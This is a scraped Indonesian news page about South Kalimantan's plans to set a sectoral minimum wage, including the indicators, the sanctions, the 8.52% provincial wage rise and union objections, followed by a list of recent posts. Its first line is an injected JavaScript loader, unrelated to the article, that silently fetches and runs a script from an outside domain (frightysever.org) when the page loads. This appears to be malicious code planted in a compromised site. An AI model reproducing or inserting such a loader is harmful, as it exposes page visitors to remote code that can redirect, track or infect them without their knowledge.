(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Disanakertrans Kalsel Segera Lakukan Penjaringan agar Bisa Tetapkan UMSP


BANJARMASIN, Hingga saat ini Kalsel hanya ada Upah Minimum Provinsi (UMP) dan Upah Minimum Upah Minimum Kota/Kabupaten (UMK). Guna memenuhi agar punya Upah Minimum Sektoral Provinsi (UMSP), Dinas Tenaga Kerja dan Transmigarsi (Disnakertrans) Kalsel akan mulai lakukan penjaringan ke kabupaten/kota.

Kabid Hubungan Industrial, Wahyudin Noor mengatakan ada lima indikator untuk sektor unggulan agar UMSP bisa ditetapkan. Yakni KBRP 5 digit, perusahaan skala besar yang investiasinya lebih di atas Rp 10 miliar, sektor perusahaan punya PDRB (Produk Domestik Regional Bruto) minimal di atas PDRB provinsi, dan produktivitas tenaga kerja perusahaan cukup bagus.

Hasil yang dicapai dari ukuran indikator inilah yang nanti diplelnokan oleh dewan pengupahan. Namun hasil ini bukan menjadi angka tetap untuk UMSP, tapi hanya menjadi patokan rekomendasi sektor unggulan. “Selanjutnya masing-masing sektor, pengusaha dan pekerja berunding,” ucap Wahyudin.

Perusahaan yang tidak menetapkan upah minimum sesuai angka yang telah ditetapkan akan dikenai sanksi Rp 100 juta hingga Rp 400 juta. Tahapan pertama yang harus dilakukan untuk perusahaan yang tidak menetapkan UMP adalah perusahaan harus melakukan penangguhan, tapi sampai saat ini belum ada perusahaan yang melakukan penangguhan di Kalslel. Penangguhan ini tidak mengurangi dan membebaskan perusahaan itu untuk tidak membayar sanksi.

Kalsel sendiri kini mengalami kenaikan UMP 8,52 persen dari Rp 2.651.000 menjadi Rp 2.877.448,59. Namun angka ini masih menjadi kekecewaan bagi para buruh pekerja Kalsel. Dewan Pimpinan Daerah Konfederasi Serikat Pekerja Seluruh Indonesia Haji Sadin Sasau mengaku pasrah dan terpaksa menerima putusan yang ada.

Sadin juga menerangkan bahwa tidak bisanya para serikat buruh menentukan standar upah adalah karena terhalangnya regulasi PP 78 tahun 2015 tentang pengupahan.

Sementara, DPW Federasi Serikat Pekerja Metal Indonesia Yoeyoen Indharto mengatakan jika sesuai Kebutuhan Hidup Layak Hidup (KHL) kenaikan UMP seharunya naik 10 hingga 15 persen. Selaku serikat buruh, Yoeyoen pun menolak kenaikan UMP yang hanya mencapai angka 2,8 juta untuk Kalsel. Apalagi peraturan pemerintah yang menetapkan UMP ini berlawanan dengan undang-undang ketenagakerjaan yang memperbolehkan pemerintah daerah menentukan nomial upah untuk wilayahnya.

Penetapan UMP yang dilakukan pada akhir tahun dirasa Yoeyoen sangat akan berdampak pada inflasi di hari raya Natal dan tahun baru mendatang. Dalam waktu dekat, Yoeyoen mengatakan bahwa ia bersama serikat buruh akan turun melakukan aksi penolakan atas penetapan UMP yang ada.(mario)


Desy Arfianty

Recent Posts

Begini Penjelasan Disporabudpar Banjarbaru Soal Perizinan Hotel Aeris

KANALKALIMANTAN.COM, BANJARBARU – Sebuah hotel baru di ruas Jalan Panglima Batur Banjarbaru akan melakukan soft… Read More

11 jam ago

Gerilya Politik Lisa Halaby ke Nasdem Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Langkah politik Erna Lisa Halaby mencari partai politik pengusung dalam Pemilihan Wali… Read More

11 jam ago

Tim Wasev Cek Langsung Lokasi TMMD di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Sekretaris Daerah (Sekda) Hulu Sungai Utara (HSU) Adi Lesmana bersama Tim Pengawas… Read More

12 jam ago

Lutung Tersengat Listrik Dievakuasi Warga, Damkar HSU Amankan Satwa Dilindungi

KANALKALIMANTAN.COM, AMUNTAI - Tersengat aliran listrik bertegangan tinggi, seekor satwa dilindungi lutung terkapar berhasil dievakuasi… Read More

12 jam ago

“Pesta Siswa Literasi Digital” di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Teknologi yang saat ini berkembang sangat pesat dan cepat telah membuat perubahan… Read More

13 jam ago

Kontestasi Pilwali Banjarbaru, Golkar Partai Pertama Incaran Lisa Halaby

Lisa Halaby: Saya Siap, Insyaallah Mundur Sebagai ASN Read More

14 jam ago

This website uses cookies.